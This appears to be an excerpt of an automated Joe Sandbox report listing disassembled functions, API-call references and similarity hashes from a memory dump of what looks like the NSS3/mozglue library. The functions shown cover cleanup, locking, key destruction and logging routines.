memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAB0710), ref: 6CAA9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAB0710), ref: 6CAA9078

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction ID: 23b5286829fcba3e2f2770c0fb6381451cba4a88216c19f5939696edaecb7d51
Opcode Fuzzy Hash: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction Fuzzy Hash: 2011E5617001516BE7101AFAAD44A6A72ACEB827EDF580131FD94C7F40F753CDDA83A6

Function 6CABCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAD1E10: TlsGetValue.KERNEL32 ref: 6CAD1E36
Part of subcall function 6CAD1E10: EnterCriticalSection.KERNEL32(?,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAD1E4B
Part of subcall function 6CAD1E10: PR_Unlock.NSS3 ref: 6CAD1E76

free.MOZGLUE(?,6CABD079,00000000,00000001), ref: 6CABCDA5
PK11_FreeSymKey.NSS3(?,6CABD079,00000000,00000001), ref: 6CABCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CABD079,00000000,00000001), ref: 6CABCDCF
DeleteCriticalSection.KERNEL32(?,6CABD079,00000000,00000001), ref: 6CABCDE2
free.MOZGLUE(?), ref: 6CABCDE9

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction ID: 0869b6ce865bc48502f1d1b267c0e95d645063b69f27f0bc5df429ae73db586a
Opcode Fuzzy Hash: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction Fuzzy Hash: D011A3B6B01115ABDB00AE65EC45E96773CFB0869D7180121F91997E01D732F4B4C7E1

Function 6CAF3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CAF38A2), ref: 6CAF3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CAF38A2), ref: 6CAF3DBF

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CAF38A2), ref: 6CAF3DF8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: c4bb2890a152b73a49ea7e8edc4c93494bc157213958a308fc1f72830693403d
Instruction ID: 6429b905c58fcd9e3da1553043a6e28e2145b6c44c9cecc2ab8d8f1bda2cc354
Opcode Fuzzy Hash: c4bb2890a152b73a49ea7e8edc4c93494bc157213958a308fc1f72830693403d
Instruction Fuzzy Hash: A001D6B57061223BFB1056756C4AE3B3DACDB41AE8B180635FD39DB680EA61DC1181F2

Function 6CB22CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22CEC

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22D02
PR_EnterMonitor.NSS3(?), ref: 6CB22D1F
PR_ExitMonitor.NSS3(?), ref: 6CB22D42
PR_ExitMonitor.NSS3(?), ref: 6CB22D5B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8aa068aecb84a86fa2e027d5854e9e8082d56c74c9333e7251ad2d1dae27f50e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 2201E5F19102905BE7309F25FC40AABB3A5EB45368F000525E85DC7710D736F8258693

Function 6CB22D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22D9C

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22DB2
PR_EnterMonitor.NSS3(?), ref: 6CB22DCF
PR_ExitMonitor.NSS3(?), ref: 6CB22DF2
PR_ExitMonitor.NSS3(?), ref: 6CB22E0B

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 153d6095da219100a19c4756327157f4581d832cdf8ad56ac95619d2f4abdb2d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D801A5B59102905BEB309E25FC05BDBB7A5EB41368F440535E85D87B10D736F8258693

Function 6CABAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?), ref: 6CABAEA3

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction ID: 0cef65190d5da41d6437709f6fb30f3d36474497d4d6ba5fb3cb77c6fd746291
Opcode Fuzzy Hash: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction Fuzzy Hash: E8018176B0507057E60191ADAD85AAB316E8B8765CB080031F90AEBB02F636DDDD46E2

Function 6CBABDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDC3
free.MOZGLUE(?,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABDE9
free.MOZGLUE(?,00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABE21
free.MOZGLUE(00000000,00000000,?,6CBA7AFE,?,?,?,?,?,?,?,?,6CBA798A), ref: 6CBABE32

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 7d27c092e67576f77665bb58e0c467ff1d5ffe5aa9fd14bddc2a6fef381c8336
Instruction ID: ce87a0a290bca6d8fd937716b50083e59c443ced5b90e007336778390523946b
Opcode Fuzzy Hash: 7d27c092e67576f77665bb58e0c467ff1d5ffe5aa9fd14bddc2a6fef381c8336
Instruction Fuzzy Hash: D01106B6B052949FEF40DF79E80AB027BB9EB4A754B040029D56AC7710E731A419CF93

Function 6CAF3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CAF3975), ref: 6CAF3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CAF3975), ref: 6CAF3E38

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CAF3975), ref: 6CAF3E52
DeleteFileW.KERNEL32(00000000), ref: 6CAF3E5D
free.MOZGLUE(00000000), ref: 6CAF3E64

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: cf51706b9b8e4ad338e920f980502c1c83d282204dd81c8c7ce35a180a812eaf
Instruction ID: 8cf0a38fd5424748264f075ab9aa140cc3a7e5d56ff27b0367f5ad6cb00ab035
Opcode Fuzzy Hash: cf51706b9b8e4ad338e920f980502c1c83d282204dd81c8c7ce35a180a812eaf
Instruction Fuzzy Hash: CFF054B53161123BFB10257A9C49E3739ACDF46DF9F180635BE39C66C1EA50CC5142B2

Function 6CBA7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CBA7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA7C83
malloc.MOZGLUE(00000001), ref: 6CBA7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBA7C9F
PR_GetCurrentThread.NSS3 ref: 6CBA7CAD

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 87639854236b5a7c3b0d791809706f5f6f96658e6c3172f5bdebfc54013156b6
Instruction ID: 445eea80c576afcb97973b6c9a7f5dddc4402ecf6d7f62c5a33fcf89fb6410d5
Opcode Fuzzy Hash: 87639854236b5a7c3b0d791809706f5f6f96658e6c3172f5bdebfc54013156b6
Instruction Fuzzy Hash: 99F0C2F1D182967BEB009FBA9C0994B7B58EF14265B018435EC09D3B00E734E126CAE5

Function 6CBAADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE0D
free.MOZGLUE(?), ref: 6CBAAE14
DeleteCriticalSection.KERNEL32(6CBAA6D8), ref: 6CBAAE36
free.MOZGLUE(?), ref: 6CBAAE3D
free.MOZGLUE(00000000,00000000,?,?,6CBAA6D8), ref: 6CBAAE47

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction ID: 22b727db1896211446741404c43edd33a62c09a701ec3f0b34a18ed200d34279
Opcode Fuzzy Hash: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction Fuzzy Hash: FBF09C7610160557CA10AFA4E4089577B7CFF4DBB57240328E57A83940D731E116CFD5

Function 6CA37C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA37D35

Strings

database corruption, xrefs: 6CA37D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA37D13, 6CA37D1F, 6CA37D47, 6CA37D53, 6CA37D5F
%s at line %d of [%.10s], xrefs: 6CA37D2E

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a16449d3202ae8666ea727800f82d99936854d04ef6bb12d451b4112b3203d7f
Instruction ID: 31b060a58564e6c64f8931f428970e954289e0f5a494b4f92fa72ffcad2053ae
Opcode Fuzzy Hash: a16449d3202ae8666ea727800f82d99936854d04ef6bb12d451b4112b3203d7f
Instruction Fuzzy Hash: E3312631E04236D7C711CF9DC9909BDB7E1AF84358B591196E448F7B85D270E881CBA0

Function 6CA26C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA26D36

Strings

database corruption, xrefs: 6CA26D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA26D20
%s at line %d of [%.10s], xrefs: 6CA26D2F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction ID: 3eb87a7bb639d53faa188232a7a5c976e2c9d37babe7098fd0e18ed901c86ba0
Opcode Fuzzy Hash: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction Fuzzy Hash: AE213330604B199BC710CE1AC941B5AB7F6AF80318F28852CD8499BF51E374F9C9CB92

Function 6CB5CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB5CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB5CCB5
memcpy.VCRUNTIME140(6CBF14F4,6CBF02AC,00000090), ref: 6CB5CCD3
memcpy.VCRUNTIME140(6CBF1588,6CBF02AC,00000090), ref: 6CB5CD2B

Part of subcall function 6CA79AC0: socket.WSOCK32(?,00000017,6CA799BE), ref: 6CA79AE6
Part of subcall function 6CA79AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA799BE), ref: 6CA79AFC

Part of subcall function 6CA80590: closesocket.WSOCK32(6CA79A8F,?,?,6CA79A8F,00000000), ref: 6CA80597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB5CCB0

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction ID: a21dec88f2b5254a7e3f886b7619dbccf6e4dae3314e4fb9edd22136d19858e9
Opcode Fuzzy Hash: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction Fuzzy Hash: 8E1196F5B042C05FDB019FAAAC067567AB8D356318F181829E46ACFF41E771CC498BE2

Function 6CAC1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CAC1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CAC1CF1

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
